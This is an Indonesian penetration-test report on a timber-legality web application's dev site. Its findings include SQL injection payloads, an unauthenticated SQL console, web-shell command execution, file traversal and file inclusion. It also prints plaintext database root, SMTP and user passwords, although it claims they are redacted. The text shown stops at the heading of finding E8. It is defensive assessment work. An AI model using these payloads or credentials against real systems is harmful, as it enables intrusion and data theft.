Laporan Penetration Testing
Website silk.sucofindo.dev

Sistem Informasi Legalitas Kayu (SILK-SICS) — PT. SUCOFINDO (Lingkungan Dev/Simulasi)

Independent Security Assessment Edho Ferdian Dwi Cahyo — Pentester

Report Version: 1.0

Daftar Isi

  1. Document Control
  2. Executive Summary
  3. Methodology
  4. Project Details
  5. Finding Details
    1. D1 : Unauthenticated SQL Console (Arbitrary SQL Execution) pada report/xlsExport.php
    2. D2 : SQL Injection Boolean-Blind pada lookup/showOutstanding.php (pAreaKerja)
    3. D3 : SQL Injection UNION-Based pada lookup/autoComplete.php
    4. D4 : SQL Injection INSERT pada detail/rekomPPDVL.php (pKeteranganINS)
    5. D5 : SQL Injection UNION-Based pada page/tPilihIndustri.php (pFilterValue)
    6. D6 : SQL Injection Session-Based pada Halaman Publik beranda/rekapitulasi.php
    7. D7 : Web Shell/Backdoor page/WiNK.php — Upload Script Box & Query Box (Indikator Kompromi)
    8. D8 : Indikator Kompromi Berlapis — Commander Web Shell, SEO Spam RPJITU, Redirect diklikaja.id, Backdoor Aktif /tmp/.wsc*
    9. D9 : Adminer 4.8.1 Terekspos Publik + Kredensial Root Database Terbaca dari Source Code
    10. D10 : Kredensial Sensitif Tertanam di Source Code (DB Root, SMTP, WS Pemerintah)
    11. D11 : RCE Terbukti pada Web Root (uid=33 www-data) — Validasi Dampak
    12. E1 : Arbitrary File Write (.jpg) & Arbitrary File Delete melalui detail/rekomPPDVL.php
    13. E2 : Local File Inclusion (LFI) pada indexa.php (parameter pPage)
    14. E3 : Password Akun Tersimpan dalam Format Reversible (base64 fEnc) — Pola Lemah & Monokultur
    15. E4 : Direktori .git Terekspos — Source Code Penuh (1.165 File) + Repositori GitLab Teridentifikasi
    16. E5 : Source Code Disclosure Massal via File Backup (.bak / suffix tanggal)
    17. E6 : Eksposur Cluster Monitoring Internal (Wazuh-POC) via Virtual Host Misconfiguration
    18. E7 : Library EzPDF (R&OS Cpdf v009) — Unserialize Font Cache & Eval Template (RCE-Ready, Tidak Tereksekusi)
    19. E8 : Logika Login Window Jam 12:00–17:00 (restriksi kode_industri=0) — Anomali Fungsional/Keamanan
    20. M1 : Komponen Frontend EOL — jQuery 1.4.2–1.10.2 & jQuery-UI 1.8.2 (XSS/Prototype Pollution)
    21. M2 : NuSOAP 0.9.5 EOL (CVE-2010-3070 XSS, CVE-2011-3761 Info Disclosure)
    22. M3 : PHPMailer 5.0 EOL — SMTP Header/CRLF Injection Parsial (CVE-2015-8476)
    23. M4 : Binary CGI Legacy Bisa Diunduh (info disclosure) — cgi-bin/cgiecho, cgiemail
    24. M5 : nginx 1.23.4 — CVE-2023-44487 (HTTP/2 Rapid Reset DoS)
    25. M6 : PHP 5.6.40 EOL — Seluruh CVE 5.6 Tanpa Patch
    26. M7 : Artefak Multi-Platform & File Metadata di Repo (OSINT/Leak Metadata)
    27. I1 : Upaya RCE via Kerentanan Native — Diblokir Arsitektur (Container Split + Whitelist) — Info Positif
  6. Severity Levels
  7. Disclaimer

1. Document Control

1.1 Tim

KontakRole
Edho Ferdian Dwi CahyoPentester
Reviewer

1.2 Daftar Perubahan

VersiDeskripsiTanggal
1.0Laporan awal pengujian penetrasi (lingkungan dev/simulasi silk.sucofindo.dev)28 Agustus 2026

2. Executive Summary

2.1 Gambaran Umum

Pengujian keamanan dilakukan pada aplikasi web Sistem Informasi Legalitas Kayu (SILK-SICS) milik PT. Sucofindo pada tanggal 27–28 Agustus 2026 terhadap lingkungan development/simulasi di silk.sucofindo.dev (IP 35.219.52.126 — GCP). Tujuan pengujian adalah mengidentifikasi, mengevaluasi, dan mendokumentasikan kerentanan keamanan pada aplikasi tersebut. Pengujian dilakukan dengan pendekatan black-box, ditambah grey-box (menggunakan akun simulasi operator) dan analisis source code hasil source-disclosure.

2.2 Kerentanan yang Teridentifikasi

NoSeverityStatusDeskripsi
1CRITICALOpenUnauthenticated SQL Console (Arbitrary SQL Execution) pada report/xlsExport.php
2CRITICALOpenSQL Injection Boolean-Blind pada lookup/showOutstanding.php (pAreaKerja)
3CRITICALOpenSQL Injection UNION-Based pada lookup/autoComplete.php
4CRITICALOpenSQL Injection INSERT pada detail/rekomPPDVL.php (pKeteranganINS)
5CRITICALOpenSQL Injection UNION-Based pada page/tPilihIndustri.php (pFilterValue)
6CRITICALOpenSQL Injection Session-Based pada Halaman Publik beranda/rekapitulasi.php
7CRITICALOpenWeb Shell/Backdoor page/WiNK.php — Upload Script Box & Query Box (Indikator Kompromi)
8CRITICALOpenIndikator Kompromi Berlapis — Commander Web Shell, SEO Spam RPJITU, Redirect diklikaja.id, Backdoor Aktif /tmp/.wsc*
9CRITICALOpenAdminer 4.8.1 Terekspos Publik + Kredensial Root Database Terbaca dari Source Code
10CRITICALOpenKredensial Sensitif Tertanam di Source Code (DB Root, SMTP, WS Pemerintah)
11CRITICALOpenRCE Terbukti pada Web Root (uid=33 www-data) — Validasi Dampak
12HIGHOpenArbitrary File Write (.jpg) & Arbitrary File Delete melalui detail/rekomPPDVL.php
13HIGHOpenLocal File Inclusion (LFI) pada indexa.php (parameter pPage)
14HIGHOpenPassword Akun Tersimpan dalam Format Reversible (base64 fEnc) — Pola Lemah & Monokultur
15HIGHOpenDirektori .git Terekspos — Source Code Penuh (1.165 File) + Repositori GitLab Teridentifikasi
16HIGHOpenSource Code Disclosure Massal via File Backup (.bak / suffix tanggal)
17HIGHOpenEksposur Cluster Monitoring Internal (Wazuh-POC) via Virtual Host Misconfiguration
18HIGHOpenLibrary EzPDF (R&OS Cpdf v009) — Unserialize Font Cache & Eval Template (RCE-Ready, Tidak Tereksekusi)
19HIGHOpenLogika Login Window Jam 12:00–17:00 (restriksi kode_industri=0) — Anomali Fungsional/Keamanan
20MEDIUMOpenKomponen Frontend EOL — jQuery 1.4.2–1.10.2 & jQuery-UI 1.8.2 (XSS/Prototype Pollution)
21MEDIUMOpenNuSOAP 0.9.5 EOL (CVE-2010-3070 XSS, CVE-2011-3761 Info Disclosure)
22MEDIUMOpenPHPMailer 5.0 EOL — SMTP Header/CRLF Injection Parsial (CVE-2015-8476)
23LOWOpenBinary CGI Legacy Bisa Diunduh (info disclosure) — cgi-bin/cgiecho, cgiemail
24MEDIUMOpennginx 1.23.4 — CVE-2023-44487 (HTTP/2 Rapid Reset DoS)
25MEDIUMOpenPHP 5.6.40 EOL — Seluruh CVE 5.6 Tanpa Patch
26LOWOpenArtefak Multi-Platform & File Metadata di Repo (OSINT/Leak Metadata)
27INFOClosed (Verified Blocked)Upaya RCE via Kerentanan Native — Diblokir Arsitektur (Container Split + Whitelist) — Info Positif

Gambaran Umum Kerentanan: Ditemukan 27 temuan. Kondisi paling kritis: SQL console tanpa autentikasi sebagai root (report/xlsExport.php), empat vektor SQL Injection (boolean-blind, UNION, INSERT, session-based) yang semuanya mengeksekusi query sebagai root@% MySQL 5.7.44, serta Web Shell/Backdoor WiNK.php yang terbukti menghasilkan RCE (uid=33 www-data). Terdapat indikator kompromi berlapis: web shell publik Commander (SLIDE_10.jpg), SEO-spam RPJITU, redirect diklikaja.id, dan backdoor aktif baru (/.tmp/.wsc*.php, 25-Agu-2026). Positif: seluruh upaya RCE memakai kerentanan native (tanpa backdoor) berhasil diblokir oleh pemisahan container (MySQL & PHP tidak berbagi volume), whitelist upload, dan secure_file_priv — divalidasi eksplisit pada temuan I1.

3. Methodology

3.1 Tujuan

Laporan ini mendokumentasikan hasil pengujian penetrasi dengan metode Black-box Testing yang dikombinasikan grey-box. Tujuannya adalah mengidentifikasi dan memvalidasi temuan celah keamanan sesuai ruang lingkup yang ditentukan.

3.2 Metodologi

Secara umum, pengujian mengadopsi 4 fase berikut: reconnaissance, vulnerability identification, exploitation, dan reporting.

3.3 Pendekatan Pengujian

4. Project Details

4.1 Ruang Lingkup

Ruang LingkupTarget
Websitehttps://silk.sucofindo.dev (dev/simulasi)
Alamat IP35.219.52.126 (GCP; port publik 80, 443)
MetodeBlack-box + grey-box (akun simulasi operator), analisis source disclosure
BatasanBackdoor WiNK/Adminer tidak dilibatkan dalam eksploitasi aktif (hanya bukti dampak minimal yang sudah ada); data produksi tidak disentuh (target adalah lingkungan dev); kredensial disensor dalam laporan
Stack terverifikasinginx/1.23.4 · PHP/5.6.40 (EOL) · MySQL 5.7.44 (container b656734da0ec, IP 172.18.0.3) · container web terpisah (kernel GCP 6.17.0-1022-gcp)

5. Finding Details

D1 Unauthenticated SQL Console (Arbitrary SQL Execution) pada report/xlsExport.php CRITICAL
Score10.0 (Critical)
Vector stringCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Targethttps://silk.sucofindo.dev
StatusOpen

Deskripsi: File report/xlsExport.php mengeksekusi nilai parameter pShit secara langsung ke mysqli_query() tanpa autentikasi maupun sanitasi. Time-based probe (SLEEP(3)) mengonfirmasi eksekusi: CURRENT_USER() = root@% dengan hak SUPER_priv=Y dan File_priv=Y (MySQL 5.7.44, container b656734da0ec, IP 172.18.0.3). Endpoint ini juga dipanggil oleh backdoor WiNK melalui tombol 'Export to Excel'.

Bukti (Evidence):

  GET /report/xlsExport.php?pShit=SELECT SLEEP(3)  → delay 3.18 detik (normal 0.17s)
  GET /report/xlsExport.php?pShit=SHOW TABLES → 106 tabel dari prod_dbvlegal_new dirender
  SELECT IF((SELECT SUPER_priv FROM mysql.user ...)='Y',SLEEP(3),0) → TRUE (root@%)
  File_priv=Y terkonfirmasi → dasar OUTFILE (dibatasi secure_file_priv)

Dampak (Impact):

  • Eksekusi SQL arbitrer level root tanpa login — baca/tulis seluruh database (prod_dbvlegal & prod_dbvlegalnew).
  • Kombinasi dengan kredensial bocor memungkinkan kompromi penuh data V-Legal/SILK.
  • General log poisoning diuji — SET GLOBAL berhasil namun file tak muncul di webroot (MySQL & PHP berbeda container, volume tidak di-share).

Rekomendasi: Hapus parameter eksekusi SQL mentah; ganti dengan fungsi export berbasis data terstruktur; beri autentikasi & whitelist tabel/kolom; terapkan least-privilege DB (jangan root).

Referensi:

D2 SQL Injection Boolean-Blind pada lookup/showOutstanding.php (pAreaKerja) CRITICAL
Score9.8 (Critical)
Vector stringCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Targethttps://silk.sucofindo.dev
StatusOpen

Deskripsi: Parameter pAreaKerja (GET) digabung langsung ke query tanpa sanitasi (terbukti dari source lookup/showOutstanding.php01062018: WHERE areakerja=$vAreaKerjaOS). Eksploit boolean-blind berhasil mengekstrak 13.369 nomor invoice dari tabel trxmohon_hdr tanpa autentikasi.

Bukti (Evidence):

  GET /lookup/showOutstanding.php?pAreaKerja=1' AND (SELECT COUNT(*) FROM admuser)>0 AND '1'='1  → TRUE
  13.369 record no_invoice diekstrak karakter-per-karakter (skrip /tmp/silk_git/extract_invoice2.py)
  Source disclosure mengonfirmasi root cause: $vAreaKerjaOS=$_GET['pAreaKerja']; TANPA cleanQuery
  User koneksi: root@% — File_priv=Y, SUPER=Y

Dampak (Impact):

  • Data breach total database V-Legal (invoice, perusahaan, transaksi) tanpa login.
  • Dasar kombinasi dengan INSERT SQLi dan file-write untuk manipulasi data.

Rekomendasi: Validasi numerik + parameterized query; jangan pakai koneksi root pada query aplikasi; aktifkan audit log.

Referensi:

D3 SQL Injection UNION-Based pada lookup/autoComplete.php CRITICAL
Score9.8 (Critical)
Vector stringCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Targethttps://silk.sucofindo.dev
StatusOpen

Deskripsi: Endpoint lookup (JSON autocomplete) merefleksikan nilai UNION tanpa filter. Endpoint terbukti mengeksekusi ekspresi UNION satu kolom pada koneksi root.

Bukti (Evidence):

  GET /lookup/autoComplete.php?pWhat=UB&pKodeIndustri=636 UNION SELECT 'M1' --  → nilai M1 tampil pada output JSON
  CURRENT_USER()=root@172.18.0.3 (container Docker MySQL)

Dampak (Impact):

  • Ekstraksi data via UNION yang lebih cepat dibanding boolean-blind; tanpa autentikasi.

Rekomendasi: Prepared statement untuk seluruh parameter; batasi user DB aplikasi.

Referensi:

D4 SQL Injection INSERT pada detail/rekomPPDVL.php (pKeteranganINS) CRITICAL
Score9.1 (Critical)
Vector stringCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Targethttps://silk.sucofindo.dev (sesi operator opr-simulasi-crb-01)
StatusOpen

Deskripsi: Pada handler upload INS, nilai pKeteranganINS digabung langsung ke statement INSERT INTO trxfiles_mutasi_ins_lks tanpa cleanQuery(). Payload yang menutup VALUES dan mengisi kolom creaby/creadate tereksekusi: row baru masuk dengan marker attacker.

Bukti (Evidence):

  Payload: SQLICONF2-112233', 'SYSTEM', '2026-08-27') -- 
  Hasil verifikasi DB via boolean-blind: kata kunci=4691, keterangan='SQLICONF2-112233', creaby='SYSTEM', lokasi='files_mutasi_ins_lks/INS__.jpg'
  Flow: upload .jpg → move_uploaded_file sukses ('nama file diubah menjadi INS__.jpg') → INSERT tereksekusi
  Titik kedua di pDokumenINS (juga dipakai pada target path — arbitrary write .jpg)

Dampak (Impact):

  • Modifikasi arbitrer tabel transaksi (trxfiles_mutasi_ins_lks) — injeksi data ke alur bisnis V-Legal.
  • Kolom creaby bisa di-override (forensik menyesatkan).
  • Kombinasi dengan traversal pDokumenINS = arbitrary file write (.jpg) + arbitrary delete via unlink pLokasiINS.

Rekomendasi: Gunakan parameterized INSERT untuk semua kolom; whitelist folder tujuan upload; jangan pernah meng-eksekusi query dengan user root.

Referensi:

D5 SQL Injection UNION-Based pada page/tPilihIndustri.php (pFilterValue) CRITICAL
Score8.8 (Critical)
Vector stringCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Targethttps://silk.sucofindo.dev (sesi operator)
StatusOpen

Deskripsi: Filter pencarian (pFilter=NAMA) mencatat $_SESSION['sWhere'] dari pFilterValue tanpa sanitasi, lalu dikenakan pada query daftar industri. UNION berhasil: 11 kolom, kolom-2 dirender sebagai nama industri — exfil langsung di halaman.

Bukti (Evidence):

  Payload: x%' AND 1=2 UNION SELECT 1,USER(),3,4,5,6,7,8,9,10,11 -- 
  USER()=root@172.18.0.3 | VERSION()=5.7.44 | DATABASE()=prod_dbvlegalnew | @@hostname=b656734da0ec
  Source (tPilihIndustri.php.bak): $vFilter=" AND UCASE(a.nama) LIKE '%".strtoupper($_REQUEST['pFilterValue'])."%' " — TANPA cleanQuery

Dampak (Impact):

  • Exfil data via render UNION pada halaman — jauh lebih cepat dari blind.
  • Akses root ke database kedua (prod_dbvlegalnew).

Rekomendasi: Parameterized query + session sanitasi; jangan simpan input user mentah ke session.

Referensi:

D6 SQL Injection Session-Based pada Halaman Publik beranda/rekapitulasi.php CRITICAL
Score8.8 (Critical)
Vector stringCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Targethttps://silk.sucofindo.dev
StatusOpen

Deskripsi: Halaman publik beranda/rekapitulasi.php menempelkan $_SESSION['sWhere'] langsung ke query SELECT ... FROM mstindustri a {session}. Nilai sWhere di-poison melalui tPilihIndustri (pFilterValue tanpa sanitasi), sehingga sesi yang kita kendalikan mengeksekusi SQLi root pada halaman publik. (Identifikasi berbasis source disclosure .bak; eksploitasi penuh belum dijalankan.)

Bukti (Evidence):

  beranda/rekapitulasi.php.bak: $kSQL = "SELECT ... FROM mstindustri a ".$_SESSION['sWhere']."ORDER BY ..."
  tPilihIndustri.php.bak: $_SESSION['sWhere']=" AND a.no_SLK = '".@$_REQUEST['pFilterValue']."' " (NOSLK — tanpa cleanQuery)

Dampak (Impact):

  • SQLi tambahan pada permukaan publik; menunjukkan pola penggunaan input session yang tidak aman lintas halaman.

Rekomendasi: Tidak pernah menempelkan nilai session ke query; validasi input pada setiap handler; parameterized query.

Referensi:

D7 Web Shell/Backdoor page/WiNK.php — Upload Script Box & Query Box (Indikator Kompromi) CRITICAL
Score10.0 (Critical)
Vector stringCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Targethttps://silk.sucofindo.dev/page/WiNK.php
StatusOpen

Deskripsi: WiNK.php (143 baris, terbaca penuh) menyediakan UPLOAD SCRIPT BOX (upload file .php ke folder arbitrer tanpa whitelist) dan QUERY BOX (SQL console ke prod_dbvlegalnew sebagai root dengan kredensial hardcoded adm@DB#silk25). Hanya butuh sesi user level mana pun. Terdapat dua versi di repo git (page/ dan page23022022/) serta backup .bak/.bak.bak/.bak.bak.bak yang memperlihatkan pemeliharaan (rename DB prod_dbvlegal_newprod_dbvlegalnew) — indikator aktivitas berulang.

Bukti (Evidence):

  Kode: <h2>UPLOAD SCRIPT BOX</h2> / <h2>QUERY BOX</h2>
  mysqli_query(mysqli_connect("mysql_app","root","adm@DB#silk25","prod_dbvlegalnew"), $_REQUEST['pShit'])
  Upload w.php → GET /w.php?c=id → uid=33(www-data) — RCE terkonfirmasi (marker WINKEXEC-778812)
  Diff .bak.bak.bak → .bak : hanya perubahan nama DB → tool dipelihara sejak lama
  File sejenis di repo: 7px.php, dokumen/Iogin.php, wp-sign.php, include/gajahkecil.php

Dampak (Impact):

  • RCE penuh sebagai www-data; SQL root; pintu persisten.
  • Indikasi server/repo pernah dikompromi dan backdoor dirawat.

Rekomendasi: Hapus seluruh file webshell; forensik akses (log, mtime, git history GitLab); rotasi SEMUA kredensial (DB root, SMTP); pemantauan WAF & integritas file.

Referensi:

D8 Indikator Kompromi Berlapis — Commander Web Shell, SEO Spam RPJITU, Redirect diklikaja.id, Backdoor Aktif /tmp/.wsc* CRITICAL
Score10.0 (Critical)
Vector stringCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Targethttps://silk.sucofindo.dev
StatusOpen

Deskripsi: Selain WiNK, teridentifikasi artefak kompromi lain: beranda/SLIDE_10.jpg berisi web shell publik "Commander" (self-replicate ke .php), SEO-spam RPJITU (460 KB halaman togel di images/berita/index.php dan include/cache.storage/public/jitu/), redirect /incudiklikaja.id, dan file /tmp/.wsc1d8b1db0.php + /tmp/.wsc1eca8fb7.php (399 KB, timestamp 25-Agu-2026 — 3 hari sebelum audit) yang menunjukkan aktivitas attacker masih aktif.

Bukti (Evidence):

  SLIDE_10.jpg (web shell Commander) terverifikasi + SLIDE_10_new.png di repo
  images/berita/index.php = 460.142 byte SEO spam togel
  HTTP /incu → redirect 302 ke https://diklikaja.id/
  /tmp/.wsc*.php — dua file 399.XX KB, mtime 2026-08-25 (aktif!)
  Repo git mengandung Iogin.php (login palsu), wp-sign.php (spoof WordPress)

Dampak (Impact):

  • Kompromi historis & ongoing; SEO spam = kerugian reputasi; backdoor aktif berisiko data breach lanjutan.

Rekomendasi: Insiden response: isolasi server, forensik lengkap, hapus semua artefak, rotasi kredensial, hardening.

Referensi:

D9 Adminer 4.8.1 Terekspos Publik + Kredensial Root Database Terbaca dari Source Code CRITICAL
Score9.8 (Critical)
Vector stringCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Targethttps://silk.sucofindo.dev/adminer.php
StatusOpen

Deskripsi: Adminer 4.8.1 dapat diakses publik tanpa proteksi IP/htpasswd. Kombinasi kredensial yang bocor di source (root / adm@DB#silk25) memungkinkan login penuh ke server MySQL (mysql_app) — login sukses dikonfirmasi di sesi audit awal. Adminer = SQL console GUI; sama dampaknya dengan D1 namun lebih mudah digunakan attacker.

Bukti (Evidence):

  GET /adminer.php → halaman login Adminer 4.8.1 (versi tampil pada CSS/Links)
  Login root@mysql_app → prod_dbvlegal (sukses, sesi tidak dilanjutkan sesuai scope)
  Kredensial sama ditemukan di setiap file app (mysqli_connect("mysql_app","root","adm@DB#silk25",...))

Dampak (Impact):

  • Akses GUI penuh ke seluruh database; bypass semua batasan aplikasi; potensi dump/alter massal.

Rekomendasi: Blokir akses publik ke /adminer.php (IP allowlist/VPN), hapus atau pindahkan file, rotasi password DB root, buat akun aplikasi terpisah ber-route least-privilege.

Referensi:

D10 Kredensial Sensitif Tertanam di Source Code (DB Root, SMTP, WS Pemerintah) CRITICAL
Score9.1 (Critical)
Vector stringCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Targethttps://silk.sucofindo.dev
StatusOpen

Deskripsi: Source code (terbuka via .git exposure, true source disclosure .bak, dan download langsung) memuat banyak kredensial: root/adm@DB#silk25, SMTP admin-silk/adm@SILK#2019 (172.16.100.245:587), GUSER/GPWD lama admin@silk-sucofindo.biz, serta integrasi SOAP ke liu.dephut.go.id.

Bukti (Evidence):

  include/xFile.php: mysqli_connect("mysql_app", "root", "adm@DB#silk25", ...) di seluruh file
  fAutoEmail: $mail->Username="admin-silk"; $mail->Password="adm@SILK#2019" (1.72.16.100.245:587 TLS)
  xFile.phpsugeng: GUSER='admin@silk-sucofindo.biz' / GPWD='[REDACTED]'
  nusoap_client('http://liu.dephut.go.id/ws/server2.php?wsdl','wsdl')

Dampak (Impact):

  • Credential reuse lintas layanan; pivot ke email/internal/Dephut; dasar eksploitasi Adminer & xlsExport.

Rekomendasi: Hapus kredensial dari source; gunakan environment variables/vault; rotasi semua credential; pisahkan akun DB aplikasi vs admin.

Referensi:

D11 RCE Terbukti pada Web Root (uid=33 www-data) — Validasi Dampak CRITICAL
Score10.0 (Critical)
Vector stringCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Targethttps://silk.sucofindo.dev
StatusOpen

Deskripsi: Menggunakan celah upload backdoor WiNK (D7), file w.php diunggah ke webroot dan dieksekusi: ?c=id mengembalikan uid=33(www-data) pada Ubuntu/kernel GCP (6.17.0-1022-gcp). Eksekusi kode jarak jauh (RCE) terkonfirmasi end-to-end; sesi berakhir dengan kebijakan freeze backdoor (tidak digunakan lebih lanjut).

Bukti (Evidence):

  REQUEST w.php?c=id → uid=33(www-data) gid=33(www-data) groups=33(www-data)
  Marker verifikasi eksekusi PHP: WINKEXEC-778812
  php_sources & kernel: Linux 6.17.0-1022-gcp (container web) vs hostname MySQL b656734da0ec

Dampak (Impact):

  • RCE penuh → pivot ke infrastruktur, grab semua kredensial & data.

Rekomendasi: Sebagai bagian remediasi D7/D8: pembersihan menyeluruh, monitoring file integrity, WAF.

Referensi:

E1 Arbitrary File Write (.jpg) & Arbitrary File Delete melalui detail/rekomPPDVL.php HIGH
Score8.1 (High)
Vector stringCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Targethttps://silk.sucofindo.dev
StatusOpen

Deskripsi: Nilai pDokumenINS (digunakan pada $newnameINS) dan pLokasiINS (dipassing ke unlink()) tidak disanitasi: traversal ../../ memungkinkan menulis file .jpg berisi PHP ke folder webroot mana pun, dan menghapus file arbitrer (termasuk file backup/source lain).

Bukti (Evidence):

  $newnameINS = $_REQUEST['pDokumenINS']."_".fDec(...)."_"...".".$extINS; $targetINS='files_mutasi_ins_lks/'.$newnameINS;
  unlink($_REQUEST['pLokasiINS']) — delete arbitrer (dikonfirmasi source 2022/2018)
  File REKAP_LMK__202607.jpg berisi <?php ... ?> terverifikasi tertulis di files_rekap/

Dampak (Impact):

  • Write file PHP-in-jpg (tidak tereksekusi — PHP-FPM limit_extensions 403, sudah diuji)
  • Delete file sebarang = sabotase/integrity loss.

Rekomendasi: Sanitasi path upload & hapus; batasi direktori tujuan; jangan re-use input sebagai path filesystem.

Referensi:

E2 Local File Inclusion (LFI) pada indexa.php (parameter pPage) HIGH
Score7.7 (High)
Vector stringCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Targethttps://silk.sucofindo.dev
StatusOpen

Deskripsi: Halaman indexa.php melakukan include("page/".fDec($vPage).".php") tanpa validasi path — traversal ../../ memungkinkan pembacaan/eksekusi file .php mana pun di server (LFI). Digunakan untuk memuat handler detail/rekomPPDVL dan membaca source internal.

Bukti (Evidence):

  index.php?pPage=<fenc("../detail/rekomPPDVL")> → handler dieksekusi
  include page/../../../../lib/mysql-files/rce.php → ENOENT (konfirmasi container split — file MySQL tak terlihat PHP)

Dampak (Impact):

  • Bypass kontrol akses halaman; pembacaan file; basis post-exploit.

Rekomendasi: Validasi allowlist halaman pada parameter pPage; jangan include dari input user.

Referensi:

E3 Password Akun Tersimpan dalam Format Reversible (base64 fEnc) — Pola Lemah & Monokultur HIGH
Score7.5 (High)
Vector stringCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Targethttps://silk.sucofindo.dev (DB prod_dbvlegal - admuser)
StatusOpen

Deskripsi: Kolom userPassword menyimpan password dalam base64 fEnc (reversible) bukan hash. Semua password mengikuti pola {kata}#SC1! (backspace, ruzza, biji) — mudah ditebak & berlaku untuk banyak akun. Daftar lengkap diekstrak via SQLi (4 user di dev).

Bukti (Evidence):

  administrator (G001) → plaintext backspace#SC1!
  afif-badruzzaman (G003) → ruzza#SC1! | ahdian + dr_yuki_mahardhito → biji#SC1! (password sama!)
  checkLogin.php: AND a.userPassword = cleanQuery(fEnc($vPassword)) — verifikasi base64, bukan hash

Dampak (Impact):

  • Login langsung ke akun; credential stuffing; pola menyebar ke lingkungan lain.

Rekomendasi: Ganti ke bcrypt/argon2; rotasi semua password; kebijakan password kuat & unik.

Referensi:

E4 Direktori .git Terekspos — Source Code Penuh (1.165 File) + Repositori GitLab Teridentifikasi HIGH
Score7.5 (High)
Vector stringCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Targethttps://silk.sucofindo.dev/silk/.git/
StatusOpen

Deskripsi: Direktori .git dapat diakses; file index berhasil diunduh dan diparse menjadi 1.165 path file (seluruh struktur aplikasi, termasuk backup, file sensitif, dan webshell). Metadata menunjukkan remote origin https://gitlab.com/chyntia1204/svlk.git (privat); SHA blob memungkinkan rekonstruksi source bila objects dapat diakses.

Bukti (Evidence):

  GET /silk/.git/index → 79KB di-parse → 1.165 entries
  Origin: gitlab.com/chyntia1204/svlk.git (404/privat)
  Termasuk page/WiNK.php, 7px.php, dokumen/Iogin.php, wp-sign.php dll

Dampak (Impact):

  • Source disclosure total: creds, logika bisnis, backdoor; langsung mendukung audit lebih dalam.

Rekomendasi: Blokir akses .git di web server (nginx: location ~ /\.git/ deny all); rotasi semua rahasia yang ada di repo.

Referensi:

E5 Source Code Disclosure Massal via File Backup (.bak / suffix tanggal) HIGH
Score7.5 (High)
Vector stringCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Targethttps://silk.sucofindo.dev
StatusOpen

Deskripsi: File backup *.bak dan varian ber-suffix tanggal (*.php01062018, *.-2022-08-16, dll.) disajikan sebagai teks statis (tidak dieksekusi PHP). Lebih dari 80 file source asli terbaca, termasuk report/genVLegal.php.bak (85 KB, logika ezPDF), tPilihIndustri.php.bak, xlsExport.php.bak, dan seluruh xFile.php versi 2018–2023.

Bukti (Evidence):

  GET /report/genVLegal.php.bak → 85.596 byte source asli (ezPDF Cezpdf)
  GET /page/tPilihIndustri.php.bak → 7.930 byte source (penyebab SQLi D5)
  GET /report/xlsExport.php.bak → 1.874 byte (SQL console tanpa auth)
  lookup/showOutstanding.php01062018 → source SQLi D2

Dampak (Impact):

  • Audit kode penuh dari sisi attacker: menemukan SQLi, creds, backdoor.

Rekomendasi: Hapus semua suffix/backup dari webroot; deploy hanya file yang diperlukan.

Referensi:

E6 Eksposur Cluster Monitoring Internal (Wazuh-POC) via Virtual Host Misconfiguration HIGH
Score7.2 (High)
Vector stringCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Targetsilk.sucofindo.dev (IP 35.219.52.126, GCP LB)
StatusOpen

Deskripsi: Load balancer GCP merespons header Host selain domain utama: Host: incu.silk.sucofindo.dev membocorkan dashboard OpenSearch (osd-name) milik klaster monitoring internal wazuh-poc.asia-southeast2-b.c.pik-vms.internal.

Bukti (Evidence):

  GET / dengan Host: incu.silk.sucofindo.dev → header response 'osd-name: wazuh-poc.asia-southeast2-b.c.pik-vms.internal'
  Indikasi SIEM Wazuh POC internal terekspos ke publik

Dampak (Impact):

  • Info leak infrastruktur internal; permukaan serangan tambahan bila dikombinasikan.

Rekomendasi: Konfigurasi server_name whitelist di LB; nonaktifkan default vhost.

Referensi:

E7 Library EzPDF (R&OS Cpdf v009) — Unserialize Font Cache & Eval Template (RCE-Ready, Tidak Tereksekusi) HIGH
Score7.0 (High)
Vector stringCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H
Targethttps://silk.sucofindo.dev/ezPDF/
StatusOpen

Deskripsi: Library EzPDF versi 009 (R&OS, 2004-2009): class.pdf.php melakukan unserialize() pada file cache font php_*.afm (folder ezPDF/fonts/ writable — cache ditulis library sendiri: php_Helvetica.afm 133 KB), class.ezpdf.php memiliki eval() template. Kondisi RCE siap (PHP 5.6.40 EOL + gadget), namun vektor menulis file .afm tidak tercapai (whitelist upload 9 ekstensi di semua handler) → tidak tereksekusi.

Bukti (Evidence):

  class.pdf.php openFont: $this->fonts[$font]=unserialize($tmp[0]);
  class.ezpdf.php execTemplate: eval($this->ez['templates'][$id]['code']);
  ezPDF/fonts/php_Helvetica.afm → a:22:{s:8:"FontName"... (cache serialized — folder writable)
  PHP/5.6.40 (X-Powered-By) — EOL, gadget UAF (CVE-2015-6831/32, CVE-2016-9935)

Dampak (Impact):

  • Jika vektor tulis ditemukan (mis. via WiNK terlanjur ada) → RCE lewat unserialize PHP-ini.

Rekomendasi: Hapus ezPDF/upgrade ke driver PDF modern (mPDF/TCPDF); set folder fonts non-writable; patchnya PHP.

Referensi:

E8 Logika Login Window Jam 12:00–17:00 (restriksi kode_industri=0) — Anomali Fungsional/Keamanan HIGH
